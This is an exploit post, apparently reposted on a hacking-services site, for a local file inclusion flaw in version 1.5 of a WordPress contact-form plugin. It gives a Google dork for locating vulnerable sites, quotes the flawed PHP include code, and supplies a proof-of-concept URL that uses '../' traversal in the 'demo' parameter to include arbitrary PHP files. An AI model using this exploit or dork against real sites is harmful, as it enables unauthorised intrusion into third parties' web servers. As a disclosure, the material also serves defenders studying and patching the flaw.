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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: website contact form with file upload 1.5 Exploit Local File Inclusion
# Google Dork: inurl:"/plugins//website-contact-form-with-file-upload/"
# Date: 07.05.2015
# Exploit Author: T3N38R15
# Software Link: https://wordpress.org/plugins/website-contact-form-with-file-upload/
# Version: 1.5
# Tested on: Windows/Linux

The affected file is /wp-content/plugins/website-contact-form-with-file-upload/lib/wide-image/image-processor.php
it include the file /wp-content/plugins/website-contact-form-with-file-upload/lib/wide-image/helpers/demo.php
and at the line 23-26 are the inclusion.


			$file = LIB_PATH . '/filters/' . $name . '.php';
			if (!file_exists($file))
				throw new Exception("Invalid demo: {$name}");
			include($file);


The exploit can be used like that : /wp-content/plugins/website-contact-form-with-file-upload/lib/wide-image/image-processor.php?demo=../test
This version would include the test.php file in the same directory because we need to back navigate from the directory ./filters/../test.php
Now we can include all php files on the system.

Proof of concept : http://localhost/wp-content/plugins/website-contact-form-with-file-upload/lib/wide-image/image-processor.php?demo=../test

Greets to Team Madleets/leets.pro
Regards T3N38R15